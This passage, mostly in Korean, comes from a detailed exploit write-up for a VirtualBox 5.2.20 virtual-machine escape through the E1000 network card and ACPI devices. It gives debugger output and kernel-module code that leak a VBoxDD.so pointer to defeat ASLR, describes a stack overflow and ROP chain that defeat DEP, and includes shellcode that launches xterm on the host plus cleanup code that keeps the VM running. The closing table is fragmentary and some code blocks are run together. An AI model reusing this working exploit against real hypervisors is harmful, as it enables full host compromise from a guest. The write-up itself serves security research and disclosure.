uint32_t Alignment5;
} ACPIState;
ACPI 포트 입출력 핸들러는 0x4100-0x410F 범위에 등록됩니다. 0x4107 포트의 경우 다음과 같습니다:```c PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb) { RT_NOREF1(pDevIns); ACPIState *pThis = (ACPIState *)pvUser; ... switch (off) { ... case SMBBLKDAT_OFF: *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx]; pThis->u8SMBusBlkIdx++; pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1; break; ...
게스트 OS가 INB(0x4107) 명령을 실행하여 포트에서 1바이트를 읽으면, 핸들러는 u8SMBusBlkIdx 인덱스의 au8SMBusBlkDat[32] 배열에서 한 바이트를 가져와 게스트에게 반환합니다. 그리고 이것이 쓰기 프리미티브를 적용하는 방법입니다: 가상 디바이스 힙 블록 사이의 거리가 일정하므로 EEPROM93C46.m_au16Data 배열에서 ACPIState.u8SMBusBlkIdx까지의 거리도 일정합니다. ACPIState.u8SMBusBlkIdx에 2바이트를 쓰면 ACPIState.au8SMBusBlkDat에서 255바이트 범위의 임의 데이터를 읽을 수 있습니다.
장애물이 하나 있습니다. ACPIState 구조체를 살펴보면 배열이 구조체 끝에 배치되어 있음을 알 수 있습니다. 나머지 필드는 누출에 쓸모가 없습니다. 그럼 구조체 뒤에서 무엇을 찾을 수 있는지 살펴봅시다:```
gef➤ x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0: 0xffffe98100000090 0xfffd9b2000000000
0x7fc47008d4f0: 0x00007fc470067a00 0x00007fc470067a00
0x7fc47008d500: 0x00000000a0028a00 0x00000000000e0000
0x7fc47008d510: 0x00000000000e0fff 0x0000000000001000
0x7fc47008d520: 0x000000ff00000002 0x0000100000000000
0x7fc47008d530: 0x00007fc47008c358 0x00007fc44d6ecdc6
0x7fc47008d540: 0x0031000035944000 0x00000000000002b8
0x7fc47008d550: 0x00280001d3878000 0x0000000000000000
gef➤ x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6: "ACPI RSDP"
gef➤ vmmap VBoxDD.so
Start End Offset Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤ p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6
VBoxDD.so 이미지 베이스에서 고정 오프셋에 문자열을 가리키는 포인터가 있는 것 같습니다. 이 포인터는 ACPIState 끝부분의 0x58 오프셋에 있습니다. 우리는 프리미티브를 사용하여 해당 포인터를 바이트 단위로 읽고 최종적으로 VBoxDD.so 이미지 베이스를 얻을 수 있습니다. 우리는 ACPIState 구조 이후의 데이터가 가상 머신이 부팅될 때마다 무작위가 아니기를 바랍니다. 다행히도 무작위가 아닙니다; 0x58 오프셋의 포인터는 항상 존재합니다.
이제 쓰기 및 읽기 프리미티브를 결합하여 ASLR을 우회하는 데 악용합니다. 힙을 오버플로하여 EEPROM93C46 구조를 덮어쓴 다음, EEPROM 유한 오토마톤을 트리거하여 ACPIState 구조에 인덱스를 쓰고, 게스트에서 INB(0x4107)를 실행하여 ACPI에 접근해 포인터의 1바이트를 읽습니다. 이를 인덱스를 1씩 증가시키면서 8회 반복합니다.```c uint64_t stage_1_main(void* mmio, void* tx_ring) { printk(KERN_INFO PFX"##### Stage 1 #####\n");
// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and
// the stack buffer.
e1000_disable_loopback_mode(mmio);
uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
stage_1_overflow_heap_buffer(mmio, tx_ring, i);
leaked_bytes[i] = stage_1_leak_byte();
printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}
uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);
return vboxdd_base;
}
정수 언더플로가 스택 버퍼 오버플로로 이어지지 않도록 하려면 특정 E1000 레지스터를 구성해야 한다고 알려져 있습니다. 아이디어는 루프백 모드에서 Tx 디스크립터를 처리하는 동안 호출되는 e1kHandleRxPacket 함수에서 버퍼가 오버플로된다는 것입니다. 실제로 루프백 모드에서는 게스트가 네트워크 패킷을 자신에게 보내므로 전송 직후에 수신됩니다. 우리는 이 모드를 비활성화하여 e1kHandleRxPacket에 도달할 수 없게 합니다.
### DEP 우회
우리는 ASLR을 우회했습니다. 이제 루프백 모드를 활성화하고 스택 버퍼 오버플로를 트리거할 수 있습니다.```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
off_t buffer_pa;
void* buffer_va;
alloc_buffer(&buffer_pa, &buffer_va);
stage_2_set_up_buffer(buffer_va, vboxdd_base);
stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);
free_buffer(buffer_va);
}
void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
printk(KERN_INFO PFX"##### Stage 2 #####\n");
e1000_enable_loopback_mode(mmio);
stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
e1000_disable_loopback_mode(mmio);
}
현재로서는 e1kHandleRxPacket의 마지막 명령이 실행될 때 저장된 반환 주소가 덮어쓰여지고 제어권은 공격자가 원하는 곳으로 이동된다. 하지만 DEP는 여전히 존재한다. 이는 ROP 체인을 구축하는 전형적인 방식으로 우회된다. ROP 가젯은 실행 가능한 메모리를 할당하고, 셸코드 로더를 그 안에 복사한 다음 실행한다.
셸코드 로더는 단순하다. 넘쳐나는 버퍼의 시작 부분을 그 옆에 복사한다.```asm use64
start: lea rsi, [rsp - 0x4170]; push rax pop rdi add rdi, loader_size mov rcx, 0x800 rep movsb nop
payload: ; Here the shellcode is to be
loader_size = $ - start
셸코드가 실행됩니다. 그 첫 번째 부분은 다음과 같습니다:```asm
use64
start:
; sys_fork
mov rax, 58
syscall
test rax, rax
jnz continue_process_execution
; Initialize argv
lea rsi, [cmd]
mov [argv], rsi
; Initialize envp
lea rsi, [env]
mov [envp], rsi
; sys_execve
lea rdi, [cmd]
lea rsi, [argv]
lea rdx, [envp]
mov rax, 59
syscall
...
cmd db '/usr/bin/xterm', 0
env db 'DISPLAY=:0.0', 0
argv dq 0, 0
envp dq 0, 0
It does fork and execve to create /usr/bin/xterm process. The attacker gains control over the host's ring 3.
I believe every exploit should be finished. It means it should not crash an application, though it's not always possible, of course. We need the virtual machine to continue execution which is achieved by the second part of shellcode.```asm continue_process_execution: ; Restore RBP mov rbp, rsp add rbp, 0x48
; Skip junk
add rsp, 0x10
; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15
; Skip junk
add rsp, 0x8
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After: "E1000-Xmit" -> NULL
; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb
; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1")
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0
; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted
ret
e1kHandleRxPacket가 호출될 때 콜스택은 다음과 같습니다:```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...
e1kR3NetworkDown_XmitPending로 바로 넘어가겠습니다. 이 함수는 아무것도 하지 않고 하이퍼바이저 함수로 복귀합니다.```c static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface) { PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown); /* Resume suspended transmission */ STATUS &= ~STATUS_TXOFF; e1kXmitPending(pThis, true /fOnWorkerThread/); }
셸코드는 RBP에 0x48을 더해 e1kR3NetworkDown_XmitPending에서 있어야 할 값으로 만든다. 그다음 스택에서 RBX, R12, R13, R14, R15 레지스터를 복원하는데, System V ABI는 callee 함수에서 이 레지스터들을 보존해야 하기 때문이다. 그렇게 하지 않으면 유효하지 않은 포인터 때문에 하이퍼바이저가 크래시할 수 있다.
이 정도면 가상 머신이 더 이상 크래시하지 않고 계속 실행되므로 충분할 수 있다. 하지만 VM이 종료될 때 PDMR3QueueDestroyDevice 함수에서 액세스 위반이 발생한다. 그 이유는 힙 오버플로가 발생할 때 중요한 구조체인 PDMQUEUE가 덮어써지기 때문이다. 게다가 마지막 두 개의 ROP 가젯, 즉 마지막 16바이트에 의해 덮어써진다. ROP 체인 크기를 줄이려고 시도했지만 실패했고, 데이터를 수동으로 교체해도 하이퍼바이저는 여전히 크래시했다. 이는 장애물이 겉보기만큼 단순하지 않다는 뜻이었다.
덮어써지는 데이터 구조는 연결 리스트다. 덮어써지는 데이터는 마지막에서 두 번째 리스트 요소에 있으며, next 포인터가 덮어써진다. 해결책은 의외로 간단했다.```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After: "E1000-Xmit" -> NULL
마지막 두 요소를 제거하면 가상 머신이 원활하게 종료됩니다.
| Tx 설명자 | 이전/이후 | u16MaxPktLen | pThis->u16TxPktLen | pDesc->data.cmd.u20DTALEN |
|---|
| data_2 | 이전 | 0x3010 | 0 | 0x10 |
| - | 이후 | 0x3010 | 0x10 | 0 |
| data_3 | 이전 | 0x3010 | 0x10 | 0 |
| - | 이후 | 0x3010 | 0x10 | 0 |
| 전 |
| 0xF |
| 0x10 |
| 0x4188 |
| - | 후 | - | - | - |